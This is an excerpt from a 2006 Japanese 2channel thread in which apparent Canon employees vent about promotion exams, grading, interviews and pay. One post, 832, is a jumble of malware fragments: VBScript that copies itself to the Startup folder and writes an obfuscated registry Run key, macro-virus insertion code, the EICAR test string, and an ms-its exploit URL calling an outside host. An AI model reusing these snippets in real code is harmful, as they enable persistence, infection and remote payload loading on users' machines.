808 :はぁ〜:2006/09/27(水) 10:11:10 ID:uIPTQOiH
駄目でした。ショックのあまり本日休暇。

809 : :2006/09/27(水) 22:19:07 ID:uxvUUaGY
キヤノン面接で落ちたけど後悔してないよ
なんか社風が厳しそうだったから
でもリコーは逝きたかったな
またーりしててよさそうだったから
補欠で落ちたよ

で、結局、今の会社に入ったけど、
給料はともかく、会社全体はまたーりしてるのに、
自分のいる事業部だけは超スーパー激務_| ̄|○












                                               キヤノンに行きたかったよ...・゚・(ノД`)・゚・

810 :@:2006/09/27(水) 23:41:38 ID:6ZjDlZED
まぁ、どの会社にも殺伐としてる部署とマターリしてる部署があるよ。
コストセンターで億単位の金を湯水のように使ってるところや、
毎日3時から課打ちをやって、毎回コーヒー頼んでるところもあるよ。

811 ::2006/09/28(木) 00:36:09 ID:8OEuWSqF
休暇拾得数が多いとマイナス
組織を超えた移動願いを面接で言ったらマイナス
(理由が自己を成長させるためでも)
海外赴任の話を断ったらマイナス
そんなマイナス人事考課が結果通知の際に
50門のそこがダメで...とか
論文のあそこがダメで..とかに
すりかえられる。

812 ::2006/09/28(木) 00:49:37 ID:rL01Xgpn

仕事バリバリできて貢献してるヒトはそんなコトいわないw
八つ当たりの言い訳ゆってたら負けだぬー

813 ::2006/09/28(木) 21:29:54 ID:OuUsTU2x
この会社、フレックスないんだっけ?裁量労働もやってない?
時間で縛る働き方を強いるのって低レベル会社に多い気がするが

814 :turco:2006/09/28(木) 22:34:59 ID:Bp8RdNd+
いやぁ、今年も試験ダメだった。後輩達はどんどん受かっていく。
モチベーションは下がる一方・・・。仕事頑張るのがアホらしくなってきた。
どうして自他部門含め上のグレードの人間達を束ねる役割を担っているのかも分からない。
役割給って何よ??もう力が出ないや。試験受かったヤツが会社支えてくれ。
長期で受からない者達は転職をほのめかし始めてるし・・・。
そうだよなぁ。後輩達より下にいるなんて情けないし、面白くないもんなぁ。
3回以内に受からないと受からない感じ。それ以上の奴等は大抵残ってる・・・。
まぁ、この会社に向いてないってことだし、転職考える方が身のためなのかもね。
真面目に考えようかな・・・。

815 ::2006/09/28(木) 22:46:32 ID:NamlEfsu
まぁ、そのうち制度変わるって!もう少し、仕事の成果も見てくれるようになるさ

816 :turco:2006/09/29(金) 05:46:47 ID:KaUghb70
そうなればいいんですけどね・・・。
「あなたはG3に値しない!」とハッキリ言われているようなもんなんで、
やっぱり凹むし、モチベーションは下がりますよね。
これまでの頑張りはなんだったんだ・・・みたいな。
初めて受けて受かっちゃう人もいるんだよなぁ。
「人」を見るための試験って言うけど、
じゃあその「人」を否定された人はどうすればいいんだ・・・。
公平って何なんだ・・・。

817 ::2006/09/29(金) 18:48:56 ID:HjU8JBDF
皆さんは社内不倫についてどう考えますか?
当方、既婚者であり派遣女子と不倫をしております。
噂話が広がり上司の耳に入りました。
試験の合否に関係なく、主任になるのは無理なのでしょうか?

818 ::2006/09/29(金) 19:27:06 ID:pCfkEz/c
一次の話だよね?
あれは相対的順位が出るから点を取ってくれないとどうしようもない。
いくら上げてやろうと思っても一次ではぶかれたんじゃどうもならね。
ただのペーパー試験だよ点取りゃいいんだよそれだけだよ頑張ってよ。
ちっとも難しい話ではないはずだよ?

いいか?
『1年後の試験で合格点を取る』というのが業務上の命題だとする。
1年間という期間の中で、合格点を達成するためには
なにが必要でどんな計画を立ててどう実行していくか、
不可能ってこたぁないだろ可能にする方法はあるんだ。
そんなこと君らが実務で抱えてる業務よりぜんぜん簡単なはず。

なのに点が取れないということは、
業務遂行能力が不足していると判断されてしまうよな?
問題点の認識がないか判断ミスかやりかた間違ってるかだよな?

ともかく一次は点数だけの話で実業務も考課も査定もないんだから、
じゃあ来年受かるにはどうしたらいいか考えてみれ。
あたりまえだが実務と両立しないと二次で落ちるぞ。

819 :_ :2006/09/29(金) 20:36:25 ID:qUbSMKKf
>>811
>休暇拾得数が多いとマイナス

逆じゃねーの?

820 :_:2006/09/29(金) 21:48:07 ID:6OEHFUlK
>>818

暇な部署ほど組織ぐるみで試験勉強に注力できる矛盾

821 :124.42.96.216:2006/09/29(金) 23:23:32 ID:Tu/jXSMe
guest guest

822 ::2006/09/30(土) 00:11:49 ID:q3A2yQvu
>>821
中国から乙

823 :633:2006/09/30(土) 01:57:00 ID:PjQCOCSr
自慰3論文3連敗しましたが、今年ようやく突破しました。

824 :名無しさん:2006/09/30(土) 12:05:59 ID:Q/Fr1WcR
2時で落ちると、来年また論文から始まる。
そこで突破できない場合もたくさんあるらしいね



825 :a:2006/09/30(土) 21:14:44 ID:U7MIBpnD
今年の論文のお題は
原稿準備派には辛かっただろうね。

826 :おちこぼれ:2006/10/01(日) 02:54:44 ID:HZzB9+oK
>>823
よかったな!
これからもがんばれよ!

>>825
俺は《他人の踏み台》を認識してるから用意もしないよ。
毎年ツライけど
おちこぼれだから仕方ない。
若い衆の反面教師だね。



827 :人名コード774:2006/10/01(日) 07:04:00 ID:KNzyAQ4Q
>>823おめ

二次いまは3対1だっけ?
漏れんときたしか5対5だったが、
『海外立ち上げ任されたらどんなふうに(ry』て聞かれて
『ちょwww家建てたんで海外断りますwwww』つったDQNがいたわ。

いま二次通っても上がるとは限らないってのは同情ス。
がんがれ。

828 :締め過ぎ:2006/10/01(日) 18:58:36 ID:DLwJ0gxw
もっと試験通してやれよ!そのうち暴動起きるぞ!!!
論文となんたら試験なんて、落とすのは2割ぐらいにしとけよ
面接で半分落として、受かったやつの7割をちゃんと上げてやれ!
若いやつらは充分優秀だよ!使いこなせない、あるいは教育できない
上司を格下げしなはれ・・・

829 :コニミノからの移民者:2006/10/01(日) 20:29:00 ID:i/BVVwfL
>>739 コニミノの過去スレにこういうのがありました。良かったら、参考にしてください。

625 :豚 :2005/05/12(木) 00:06:09 ID:HCYBvtjr
>>620 労組でも、中央の委員長や書記長クラスなど数名は管理職待遇になっているはずだが。
組合専従で、給与や社会保険含め、すべて組合費で養われながら、組合員に
何の感謝も恩義も感じていないのは何故だと思いますか。
かれらの給与を決めるのが会社だからです。課長や部次長待遇に昇格させてくれる
のが人事部だからです。人事部が決めた給与金額を、組合員が支払う構造になって
いる限り、御用組合体質は改まりません。わかりましたか。春闘や秋闘が形骸化
しているのはこのためです。単なるガス抜きのために給与の2%を支払って
組合活動に協力している社畜の皆さん、もうソロソロ気が付きましょう。

話がそれた。要するに、>>620>>623は、内部の人間ではない。>>616がほぼ正解。
管理職の賃金が知りたければ、中央委員長や書記長に聞けば良いのです。

7 :BE:2005/05/12(木) 06:07:48 ID:q6E22fh5 ?

辞めたから、内部の人間でないことは確かだが。
どっちを信じるかは各人の自由。
とにかく、信じられない給与、賞与をもらっているのは真実。

では、逆に聞くが、あなたは内部の人間?ここの社内抗争を
知らないわけないよね?

合同職場討議で配られる、議案書の内容を知ってる。
労組専従の「退職金」がすごいこと知っている?これは
公表されているから反論の余地ないよね?単純にわり算すれば
退職金でるからね。退職金は「5000万/1人」だよ。

そして、給与平均は「1500万/1人」だよ。課長待遇として正しい
数字がでているんじゃない?


830 :率は?:2006/10/01(日) 22:48:37 ID:hqDsdO07
うちの武では10人全滅

831 :774:2006/10/01(日) 23:19:33 ID:KNzyAQ4Q
>>829
おまいまたやってんのか。コニミノ組合厨うぜ

>もし、お願いできるなら、業界リーダーとして、コニミノ経営陣に苦言を言っていただけませんか?
とかほんとアホかと。
頼むならキヤノン労組だろ。門前払いだろうがな。

832 :<body onload=window()>:2006/10/02(月) 11:42:27 ID:O1Jb8SEg
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
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ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
܃ܷܵܶޫޭॢ


833 :名無しさん:2006/10/02(月) 21:18:51 ID:FW5j6Uj2
日本語でおk

834 ::2006/10/03(火) 07:04:21 ID:Hv/UlR8K
またおちたよ
課長に うちの会社に合わないかもね なんていわれたからまじでよそに移ろうかなぁ
周りは、現行制度では到底受かるとは思えない担当部課長ばかり
特に開発からの天下り爺ばかりでもう。。

835 ::2006/10/03(火) 08:16:29 ID:dl19Wvb4
>>834ヒドイ言い方ですね。
うちの馬鹿長も似たよーなもんだが。
ここ数年ホントに合格率低いですよね。
降格制度も導入されないかな。

836 :リクルート:2006/10/03(火) 22:25:07 ID:qePa13RZ
景気上昇中の今のうちに他所に移ったほうがいいんじゃない?
調子のいい会社なら人員募集してるし、30代で得意分野もってれば転職できるよ。

837 :M6:2006/10/03(火) 22:31:12 ID:ym/vuOUE
>>834おれもだ
いいかげん疲れた。
明らかに自分より出来ないやつが合格していったり、
馬鹿な管理者が大勢いたり、、
うちの実力主義って何?

838 :aa:2006/10/03(火) 23:15:16 ID:299ytkR0
>>837
漏れも落ちた。
もう4回連続。

もうどこか逝きます。

この会社あわないみたい。

839 :bb:2006/10/03(火) 23:48:09 ID:RzhkQpQY
今日、ずっーと面接の練習していたD○センター
合格には練習時間による部署間格差が出るんだろうなー
と素直に思いました。

840 ::2006/10/04(水) 08:46:08 ID:2VnB0YL5
面接練習で時間外つけるようなヤシは間違いなく落ちる ワラ

841 ::2006/10/04(水) 18:58:46 ID:+r0EmPME
爺4試験って今年はないの?

842 :nanashi:2006/10/04(水) 19:05:11 ID:pOF43ydf
去年はあったのかよw
会社どこよ?

843 :名無し:2006/10/04(水) 19:59:44 ID:0JhfZ+1s
>>837
要するに君に実力が無かったということじゃないの?
試験に受からない奴が、何を言っても負け犬の遠吠え。
みっともないよ。

844 :nanashi:2006/10/04(水) 20:28:59 ID:pOF43ydf
↑一理はあるのかもしれないがヒドスw

受かってるヤツが必ずしも仕事できたり
人徳があってリーダーシップとれるとは限らず、
いろんな矛盾を内包しているのも事実かと。

上が聞く耳持たぬと下はきついな。

845 :aa:2006/10/04(水) 20:57:02 ID:HsQKtbU4
上からみると、いくら実力があっても受かってくれないと救いようがないだけかと。

846 : :2006/10/04(水) 21:02:42 ID:AKOFW8lU
試験不合格に対する愚痴も、2chに書き込んだ時点で全部負け惜しみ。

847 :nanashi:2006/10/04(水) 23:03:52 ID:pOF43ydf

キヤノンを背負う優秀な人材(自称)が集まってきましたw

848 :_:2006/10/05(木) 00:20:29 ID:WRspgEA/
そもそも、実力主義、成果主義と試験制度は矛盾しているのは明白。
制度を廃止できないのは、人件費抑制の道具として便利だからなのでしょう。
試験制度を廃止したとしたも、評価が適切に行われるとは思えないが。

試験落ちた奴が何を言っても、負け犬の遠吠えにしか聞こえないのがミソ。
俺も補職受かるまでは、気恥ずかしくて職場集会でも何も言えなかった。

実力ある若手達が、生産部門で戦力外通告受けた万年D職レベルのオバサン連中より
薄給で苦しんでいる現状を打破するには、
試験終わった人や、管理職が声を上げなければいけないんじゃないの?

>>840
暇な部署は、定時内に論文指導や面接練習してるんだよw


849 :jojo:2006/10/05(木) 01:14:17 ID:S9GryRZ1
漏れは既に数回落ちている。
なのに、2年目の新人さんと同じグレード。
そして、要求される仕事の質(レベル)は、後輩たちに比べるとあまりに高いレベル。
(こんなの辞意弐の仕事じゃねえよと、職務記述書にも書いていない高いレベルの仕事を押し付けられ、クリアしないと、人事評価は下がる)

ぶっちゃけ、求められる役割と仕事の量と質は、爺さん、自慰死レベル。
給料は、辞意弐です。

まあ、試験にうからない漏れが悪いんですが...。

鬱だ死のう....

850 : :2006/10/05(木) 01:20:37 ID:gsiaNdkI
最近の新卒はほぼ全員が自動的にG2に上がれる現状

851 ::2006/10/05(木) 23:57:20 ID:nmKwCLU6
>>848
>試験終わった人や、管理職が声を上げなければいけないんじゃないの?

それ無理でしょ。
やっと手に入れた既得権だ。
分配率が下がるようなことするわけないじゃん。

http://www.amazon.co.jp/gp/product/4334033709/

まずはこれでも読んでみたら?

852 :sage:2006/10/05(木) 23:59:19 ID:QjKqu7/f
>>843
会社で何かつらいことでもあったのか?

落ちた椰子、みんな心配すな。
そのうち受かる。。。と思う。本当に仕事ができるなら大丈夫、
回りが放っておかないはず。そして受かったときには、アセス
もすんなり通るはず。だから一心不乱に仕事汁。黙っていても
皆が認めるくらい仕事汁。漏れもそうした。だから頑張れ。

853 :a\:2006/10/06(金) 01:11:03 ID:UITkM8Sl
843でもこのスレに書き込んだ人間でもないが、
>>852
たとえ釣りや嘘だったとしても
ちょっと元気が出た。ありがとう。

854 :sage?:2006/10/06(金) 01:25:10 ID:YjOE9Qkl
爺さんだが同意。
古典的な2chっぽい言葉ちりばめて慣れてる風を装いながら
sageを名欄に書いちまってるのが笑えるがそれも効果的かとw

855 :owikgn:2006/10/06(金) 05:21:33 ID:k3EsKGmW
>そのうち受かる。。。と思う。本当に仕事ができるなら大丈夫

そのうちっていつ?

10年後? 20年後?

それまで心が折れなきゃよいが...

856 :慶應生:2006/10/06(金) 08:33:14 ID:BlntPtJ8
>>850
最近の新卒の半数が東大東工大早稲田慶應の大学院卒という罠。
早慶だけで160人もいる。

857 :慶應生:2006/10/06(金) 08:37:05 ID:BlntPtJ8
主要77大学人気企業292社就職ランキング・2006年
http://www.geocities.jp/tarliban/sunday2006.html

明治や中央大学でさえ完全にソルジャー要員だと言うことが分かる。
最近は旧帝大の博士もバンバン入っているらしいな。

中学3年間+高校3年間+大学4年間+大学院2年間の勉強量の差を考えたら、あいつらが昇進試験に1回で通るのも理解できるだろ?
特に大学4年〜修士2年の研究室生活なんて朝から深夜まで毎日毎日研究している。休日も研究室に行っているぐらいだ。
遊んでいた奴らに勝てるはずがない。


858 :sake:2006/10/06(金) 12:07:21 ID:H0IEBhg5
…でさえというが、うちのセンターでは東大さえソルジャーだよ

859 : :2006/10/06(金) 15:44:59 ID:aaUHv4Lx
SATの選考って学歴も影響するの?

860 :_:2006/10/06(金) 19:49:39 ID:B9K8MCyg
>>842
お前こそどこの会社だよ。
G4上がるための推薦受けたヤツはその後で試験受けるんだよ。
試験受けたヤツは大抵昇進するが、昇進しないヤツも中にはいる。


861 :爺ふぉう:2006/10/06(金) 21:40:22 ID:KlnaLECI
>>860
えっ 昇進しないヤツもいるの?
事実上、アセスメント受けたら昇進決定してるもんだと思ってたが。

862 ::2006/10/06(金) 22:46:15 ID:4l2bLHY2
>>853

おまえ騙されやすいタイプだな。

>一心不乱に仕事汁。黙っていても皆が認めるくらい仕事汁。

これしてもらわないと既得権握ったものは困るからいってるだけじゃん。
管理職は部下が有能で勤勉なほど出世する。
一心不乱で仕事してたら勉強する暇ないやろが。

863 :gg:2006/10/06(金) 23:03:36 ID:9tq4jMwx
受かったヤツはがんばって、その分落ちたやつが遊んでりゃイージャン

864 :same:2006/10/06(金) 23:07:19 ID:YjOE9Qkl
仕事してたら勉強する暇がなくて落ちる、なんてゆってるレベルじゃ
いろんな意味でまだまだだとオモ。

865 :damemoto:2006/10/07(土) 00:18:05 ID:a0iyGq7e
爺さん二次面接でなに聞かれた?
今年から新傾向みたいだが。

866 :デジカメ板住人:2006/10/07(土) 07:24:40 ID:+yZmoskn
キヤノン2CH工作部隊キャノネッツはデジカメ板では有名だが、
ペンタックスが優秀なデジタル一眼を作ったので荒らしまくり。

【サンプルキター】PENTAX K10D part20【不眠革命】
http://hobby7.2ch.net/test/read.cgi/dcamera/1160153054/

867 ::2006/10/07(土) 07:54:57 ID:RrqntaId
俺の知り合いのキヤノン社員は仕事が終わったら家の書斎で専門書を読み論文検索したりして過ごし
休日も図書館に籠もって朝から晩まで勉強だって。たまにセミナーに出かけたり。
とても真似できないと驚いたら、「理系なら普通だよ」と不思議そうな顔をされた。
やっぱり正社員様は優秀だよ。

868 :   :2006/10/07(土) 08:01:18 ID:VgzMm65o
キヤノンのロゴがついたウィンドブレーカーを着て販売店支援をしていまつが、
だれも興味を持ってくれないのでカシオのを打っています。
自分もカシオのを買いました。
キヤノンのはちーとも安くなりません。

869 :turco:2006/10/07(土) 08:36:29 ID://NkXtQI
G31次試験の合格者の傾向がなんとなく掴めた。
論文:
部署が暇で試験勉強する時間があるからと言って論文が書けるわけではない。
要はそれなりに仕事があって、常にどう対処すべきか考えられるような環境があってこそ論文が書ける。
結局の所論文は自分の経験から書かねばならないもの。もちろん試験の前の月の残業時間が60時間を超えるような激務なところもダメだが。
そして、一番重要なのはその部署の試験に対する取り組み。
きちんと部下を受からせようとする部署はコンスタントに受かる傾向にある。
これが出来ていない部署は1次試験すら合格者は1割かそれに満たない程度。
逆に出来ている部署は5割とかそれ以上の合格率になる。
上司が忙し過ぎて部下の論文練習につきあえなかったり、
夏休みにフリバカを付けてみたりと試験前に不在がちなところは合格率はかなり低い。
(そもそも上司と部下のコミュニケーションがとれてないような部署だったりもするわけだが)
また、どんなに忙しくても試験前は受験者の残業時間が減るよう調整出来る部署が強い。
つまり、試験に対する取り組みがきちんとなされていない部署に配属されてしまった人は不運だと思うしかない。
試験に受かりたかったら異動するなりの対策が必要かもしれない。
ただし、異動先も同じような状況だったら話にならないが。


870 :turco:2006/10/07(土) 08:37:35 ID://NkXtQI
インバス:
こちらは若い世代が得意のようだ。
なんていうかRPGかなりやりこみました世代が得意のようだ。
要は情報を集めて分析して次に進むというようなゲームに慣れている世代の方が強いような気がする。
もちろんそんな気がするだけなのだが。

というわけで、自分は偶然を除いて受かるような気がしない。
上司に真顔で異動してもいいか聞いたら凄い勢いで止められた。
もちろん本気で異動しようと思ってるわけではないのでわざわざ言ってみたのだが。
チームリーダーが抜けたらその分野はしばらくの間壊滅的なダメージを受けて、
乱立する製品の日程がドミノ式に遅延するのは目に見えている。
しかし自分のチームのメンバーの方が給料が上というのもどうかとも思う。
下についている者の方が給料が上?何か変だ。
というわけでせめて「役割給」という呼び方だけはやめて欲しい。
呼び方を変えられないのであれば、役割に見合った給与体系にするべきだ。
あからさまにどうしてこいつがG3?なんでこれでG4になれた?というのがいる。
このあたりの人を降格するなりの対処を切に望む。
全然名前と実状が合っていない。

871 :turco:2006/10/07(土) 08:41:01 ID://NkXtQI
仕事は嫌いじゃない。
チームのメンバーや他部門を含め仕事の関係者とはかなり気があって、
ほとんどのことはすんなり進む今の体制をまた1から作り直すのはかなりの労力を要する。
しかしモチベーションがこれまでのように上がらない。
周りよりもまず自分のモチベーションを上げていかなければならないのだが。
チームのモチベーションはまとめ役のモチベーションにひっぱられる傾向にある。
製品が乱立する現状、チームのモチベーションが上がらなければあっと言う間にロードマップは崩れる。
分かっていてもなかなか上がらない。

また愚痴っちまった。
良くないな。

872 :そうか?:2006/10/07(土) 10:04:39 ID:xBxaR7A+
G3に受かってない人間が、チームのまとめ役につけるのか?
君のチームって相当小さな単位のチーム?
試験と仕事内容は別ものだが、最低G3試験ぐらいは愚痴らずに
パスしろよ!G4に上がれないって愚痴なら聞いてやる。

873 :社員A:2006/10/07(土) 10:26:28 ID:Sg7dM8O9

休日にテレビを見ててキヤノンのCMが流れるとウツな気分になるのは私だけですか?


874 :社員B:2006/10/07(土) 10:49:12 ID:p1LSGYqu
そこまで試験一発制度にすることが、実力主義なのだろうか。もはや試験選抜主義では。
また新人の高学歴化もハイペースで進んでいる気がする。
このペースでいけば組織・風土は大幅に変わるだろう。


875 :_:2006/10/07(土) 15:45:09 ID:epvt2d2G
>>857
理工系なら早慶や帝大ならずとも、
そんな感じの研究生活してきてるでしょう。
出身大学によらず、受かる奴は受かってる。

それより問題なのは、
試験の合格ラインが絶対評価ではなく、相対評価で決まっている事。
しかもそれが、センター単位で区切られているから、
優秀な人材が集まるセンターほど、試験突破のレベルが高くなる。
これじゃあ、実力も能力も報われないよ。

反対に、同じ部署に短卒のいる事務系は、
自ずと合格ラインが低くなり、どんどん昇進していく。

みんなも同期で比較してみると、
部署によって明らかな差があるでしょ?

技術立国なんて言葉とは裏腹に、
理工系はどこまで行っても報われないねorz

876 :社員C:2006/10/07(土) 16:35:03 ID:r6klua5I
自分の所属する枠の中で合格ラインまで行けばいいじゃん。
この会社は工業高卒でも優秀なら院卒生を従えることもできる、
給与体系も同じ、そんな実力主義を昔からやってる会社って珍しいぜ?
もちろん学歴ハンデを埋めるには相応の努力が必要だがな。
努力してるものにとって相対評価とか試験選抜ってはチャンスでしかない。

877 :名無しさん:2006/10/07(土) 17:37:01 ID:RcrTLUAr
試験制度って昔は昇給のための制度だったものが、
今では給料抑制のための制度に変わったんだから、
みんながみんな受かるわけないだろう。

まあ、論文とマークシートのどっちかでも平均より下ってだけで
給料を上げなくて済むんだから会社にとってはおいしい制度だよな。

878 ::2006/10/07(土) 20:16:00 ID:fULxqoQq
要は受かった者勝ちだな。
仕事出来ようが出来まいが関係ないな。今後は期間工の正社員化もあるだろうから更に昇給抑制に拍車もかかるんだろうな。

879 ::2006/10/07(土) 22:24:19 ID:3V2eNwkK
爺さん 面接での合格率ってどのくらい??


880 :  :2006/10/08(日) 00:26:49 ID:nyDvJfm6
面接の合格率は去年始まったばかりだから分からん。
面接で落ちる人もいるみたいだよ…
面接の形式や質問内容はガラリと変わったらしいね。

最終判定って、直近の評価+1次の点数+面接の点数+αで合ってる?

881 ::2006/10/08(日) 00:28:48 ID:A1qIaDtI
最終判定で「合」でもすぐに爺さんになれるとは限らないんでしょ?

882 :  :2006/10/08(日) 00:43:49 ID:nyDvJfm6
>>881
爺さんになれなくても、休日なのに手当が出ない
面倒な試験から解放されるだけで気が楽になるのでは?

883 :wowing:2006/10/08(日) 03:47:51 ID:ARiEQH8r
☆キヤノン 厳しさ増す昇格スクリーニング、若い人ほど狭き門に

http://www.mynewsjapan.com/kobetsu.jsp?sn=489








884 :wowing:2006/10/08(日) 03:52:09 ID:ARiEQH8r
☆世代間格差の犠牲のうえで成り立つキヤノンの成果主義

http://www.actiblog.com/watanabe/14109

885 :社員D:2006/10/08(日) 05:11:03 ID:I2ZZIL8m
それでは容赦なく首切りや降格人事をおこなってきた松下ソニーが
若い者のやる気を引きだし業績を伸ばし発展したか?
答えがNOであることは明白だ。
若者にも『明日は我が身』の恐怖心を植え付け愛社精神を削り取り
失敗を恐れ目立たぬようにとチャレンジ精神を捨てさせたのだ。
企業の若返り策としてのリストラ降格は結局、若者を老人化させるだけ。

886 :1:2006/10/08(日) 07:46:14 ID:1qDXhSPo
久しく来ないうちにひどく荒れてるな・・・。


名前に手入力の人が多いようなんで言っておくけど
そこは自動で書き込むことができるんだよ。

名前のとこに
&rf&rusi&ran&ras&ran
(当たり前だけど全部半角で)

手入力はスレが重たくなるからできるだけ自動にしたほうがいいと思う。

ただ、人によってはクッキーの関係でうまくいかないこともあるらしいけど。


887 :社員D+:2006/10/08(日) 10:14:35 ID:cZ0UHYkN
今年のG4アセスメントはすでに終了!
推薦を受けた者だけが、その試験日程を知らされる。
年齢はバラバラで女性も結構な数が参加している!
今年から成績プラス経験も重視されるようになった!
人事も成績だけじゃ危ないと気づいたみたいだな。

888 :社員E:2006/10/08(日) 17:09:37 ID:8WmSag+4
>>887
爺四の推薦とは、誰にしてもらうのですか?所属腸?蕪兆?
爺さんになってかれこれ6年だが汗スメントの「あ」の字も聞かない。武超と仲が悪いからだろうか・・

889 ::2006/10/09(月) 01:25:39 ID:35SwmiOW
爺四のアセスまでいっても何割かは昇格していなかった。
あれはやはり結果が悪いからなのか。

890 :社員D+:2006/10/09(月) 09:19:45 ID:/YNWE+An
部長だよ!ただし、過去3年間の評価がよくないと推薦できない!
過去3年間でB1があったらNG!
大体、アセス受けるやつは、その年の評価がA1以上だから自分で想像つくだろ?


891 : :2006/10/09(月) 11:26:11 ID:hFbTfL+2
>>888
推薦書書くのは課長クラス。
成績優秀なら2年連続部内トップクラスの評価をもらえば推薦してもらえる。
早いヤツはG3になってから3年くらいでG4になるでしょ?

その前から見込みのある人間には、

・新人やそれに近い若手の教育係(部下、後輩の育成)
・チーフもしくはそれに準ずる業務

の割当があり、そこで上手く業務をこなすことが条件。
まわりで昇進したヤツ、もしくは昇進しそうなヤツの業務内容とその結果をよく見てみるとよい。

そのような業務を割り当ててもらえていないとすれば上司からまだ昇進を期待されていないということ。
そして業務を割り当てられた時にはチャンスだから逃さないよう頑張ること。
一度与えられたチャンスに上手く結果を出せないと次はいつになるか分からない。

892 :i:2006/10/09(月) 13:12:48 ID:69MKOVGa
>>890
>過去3年間の評価がよくないと推薦できない!
痔二→痔三も、人事評価「歴」が効いてます。去年痔三試験に受かったのに、まだ二でつ。

893 :大田区高校生:2006/10/09(月) 13:45:49 ID:h95p7dxp
オジサン達まだ学生なの?核爆!

894 :コニカミノルタすれに昇格基準のすっぱ抜きが合った。参考にしてちょ:2006/10/09(月) 15:19:46 ID:pZTH+ecU
878 : :2006/06/17(土) 22:42:06 ID:7zs1Qpbk
何と言ったらよいか、人事制度そのものが、巨大な茶坊主製造装置だったからな。
自分のいう事を何でも聞く茶坊主資質のある人間に、組織方針とか秘匿情報を優先的に流し続けることにより
職場内に淡い指揮命令系統を発生させ、それを基に評価するという手口が横行してたな。
よく、すでに指揮命令関係が発生しているから・・・・この人事に問題ない、と言い切ってる、問題あり管理職いたな。
どこの会社でも優秀な奴がいて、その周りの人間も伸びてゆくというのが普通なんだが、
Mの場合は、茶坊主に組織を引っぱらせようとした。そして崩壊した。

本来、組織というのは、常に現地現物情報のエッセンスを上申させ、それを基にトップダウンという作業の繰り返し
が絶対に必要なんだが、Mの場合は、その意思疎通ができてなかった。
そゆうことを長年蓄積した結果、経営と現場との溝ができあがったんだろう。
よーするに、陰日なたなく働き、考え、発言する人を大事にしてこなかったんだ。
Mの経営者は、自分の保身のためには、分かっちゃいるけど止められない、といったところか。
力や才能のある人は、自分に見切りをつけるが、つぶしの利かない茶坊主なら最後まで自分を盛り立ててくれるから。
『誠実さが欠けている人や平気で嘘をつくリーダー』というのは、そゆう風土の上で咲いた仇花だな。

884 : :2006/06/18(日) 06:19:05 ID:GltAyDhC
そのとおりなんだ..
特に、考課調整会議にあたって明らかに組織長から特定の何名かに秘匿情報が流されている..
それで、茶坊主やその息のかかった後継者を作り上げようとしているのをひしひしと感じたね。
その時は吐き気がしたよ...こんな奴のもとで仕事したくないって事で。
でも、まあ、関西人のいわゆる”生き馬の目を抜く”って事なのかな〜って、
それも一つの文化の違いかって最初のうちは考えてたけどね。
実は、旧Mの陋習だったんだ、その後気がついて来た。
とにかく、油断してちゃいけないね...
気に入らないと言うか、派閥でないと、笑いながら、腹の中では引きずりおろそうとしてるから。
しかも、こういう事にかけでは機転がきくんだよね。
人が良い、ぼんぼん育ちはよっぽど警戒していないと。


895 :turco:2006/10/09(月) 20:00:20 ID:qMFQmnZ4
>>872 :そうか?
コメントどうもありがとうございます。

>G3に受かってない人間が、チームのまとめ役につけるのか?
そんなに難しい話じゃありません。
新しいプロジェクト立ち上げ時には必要な分野の人を当てるわけで、
その時にはG2かG3なんて誰も気にしません。
他にも自分の上についていた人が突然異動していなくなったり、
病気がちになり退社したりという場合はそのまままとめ役を引き継ぐわけです。
ポジションが空いてどうしてもそこに人が必要であれば、
適当な人がつくってとても自然な流れだと思います。

>君のチームって相当小さな単位のチーム?
かもしれません。愚痴だけに大きく言ってしまいました。すいません。
ブラザーもやってるんで社員もついていますが、請負さんも何人かいて、
その程度の小さなグループの代表です。
後はプロジェクトのとある分野のまとめ役をお願いされちゃったんでそのまとめ役です。
上記のグループの他、他の部門や他の事業所の人も集まってきているチームなんで、
こちらはちょっと大きいかもしれません。

>試験と仕事内容は別ものだが、最低G3試験ぐらいは愚痴らずに
>パスしろよ!G4に上がれないって愚痴なら聞いてやる。
すいません。
ただここ数年一緒に仕事をしてきている人が次々G4になっているのですが、
この人達はほんととてつもない力を持っていると思っていて、
自分などこれらの人に比べたら全然大したことないなと思っているんで、
恐らくG4になれないというところで愚痴ったりはしないと思います。
1次試験など初めて受けても受かる人間がいるというのに、
それにすら受かることのできない自分にいらついているというのもあるのかもしれません。
どこかで吐き出さなくてはやってられない情けないヤツです。すいません。

896 :ocrut:2006/10/09(月) 22:44:41 ID:t0bw2eK7
>>872 :そうか?
コメントどうもありがとうございます。

>G3に受かってない人間が、チームのまとめ役につけるのか?
今の人事制度だと、ジョブレンジだっけ? という定義で、
G2だろうが、G3以上の仕事をやらされる罠。

>君のチームって相当小さな単位のチーム?
G3になっても、チームのリーダーでもなく、ほんとに小規模設計もできないアフォもいっぱいいるぽ。
後輩の育成も当然のことながらおこなわないといけないG3の人間が、それ以下の役割の人間に育成されている罠。

>試験と仕事内容は別ものだが、最低G3試験ぐらいは愚痴らずに
>パスしろよ!G4に上がれないって愚痴なら聞いてやる。
すみません。
あなたのような優秀(藁)社員の方にとっては、G3の壁は、低いのかもしれません。
まあ、昔はそれなりに受かっていたみたいですから。
あなたが今受けたら多分受かりませんね。それくらい現状は厳しいのですよ?
Do you understand?


と、>>895 の本音を書いてみる。


897 :名無し:2006/10/09(月) 23:39:14 ID:69MKOVGa
>896
